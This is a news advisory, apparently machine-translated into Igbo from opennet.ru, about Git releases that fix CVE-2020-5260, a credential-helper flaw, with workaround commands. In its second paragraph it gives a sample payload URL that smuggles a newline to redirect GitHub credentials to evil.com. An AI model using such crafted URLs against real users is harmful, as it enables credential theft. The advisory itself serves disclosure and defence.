Git nzere ntozu adịghị ike

Ebipụtara Mwepụta mmezi nke sistemụ njikwa isi iyi ekesa Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 na 2.17.4, na nke kpochapụrụ adịghị ike (CVE-2020-5260) n'ime onye ọrụ"credential.onye inyeaka", nke na-eme ka ezipụ nzere na onye ọbịa na-ezighi ezi mgbe onye ahịa git nwetara ebe nchekwa site na iji URL ahaziri ahazi nke nwere agwa ahịrị ọhụrụ. Enwere ike iji adịghị ike ahụ mee ndokwa maka nzere sitere n'aka onye ọbịa ọzọ ka ezigara na nkesa nke onye na-awakpo na-achịkwa.

Mgbe ị na-akọwa URL dị ka "https://evil.com?%0ahost=github.com/", onye na-ahụ maka nzere mgbe ị na-ejikọta na onye ọrụ ọjọọ.com ga-agafe akara njirimara akọwapụtara maka github.com. Nsogbu a na-eme mgbe a na-arụ ọrụ dị ka "git clone", gụnyere nhazi URL maka submodules (dịka ọmụmaatụ, "git submodule update" ga-edozi URL ndị akọwapụtara na faịlụ .gitmodules site na ebe nchekwa). Ọdịmma ahụ kacha dị ize ndụ n'ọnọdụ ebe onye nrụpụta mechiri ebe nchekwa na-ahụghị URL ahụ, dịka ọmụmaatụ, mgbe ị na-arụ ọrụ na submodules, ma ọ bụ na sistemụ na-arụ ọrụ akpaka, dịka ọmụmaatụ, n'ime edemede na-ewu ngwugwu.

Iji gbochie adịghị ike na ụdị ọhụrụ machibidoro na-agafe agwa ọhụrụ n'ụkpụrụ ọ bụla ebutere site na ụkpụrụ mgbanwe nzere nzere. Maka nkesa, ị nwere ike soro ntọhapụ nke mmelite ngwugwu na ibe Debian, Ubuntu, RHEL, SUSE/mepeeSUSE, Fedora, Arch, FreeBSD.

Dị ka ihe ngwọta iji gbochie nsogbu ahụ ka akwadoro Ejila credential.helper mgbe ị na-abanye ebe nchekwa ọha ma ejikwala "git clone" na ọnọdụ "--recurse-submodules" yana ebe nchekwa anaghị enyocha ya. Iji gbanyụọ kpamkpam credential.helper njikwa, nke na-eme nchekwa na iweghachite okwuntughe site na cache, echedoro ebe nchekwa ma ọ bụ faịlụ nwere okwuntughe, ị nwere ike iji iwu ndị a:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

isi: opennet.ru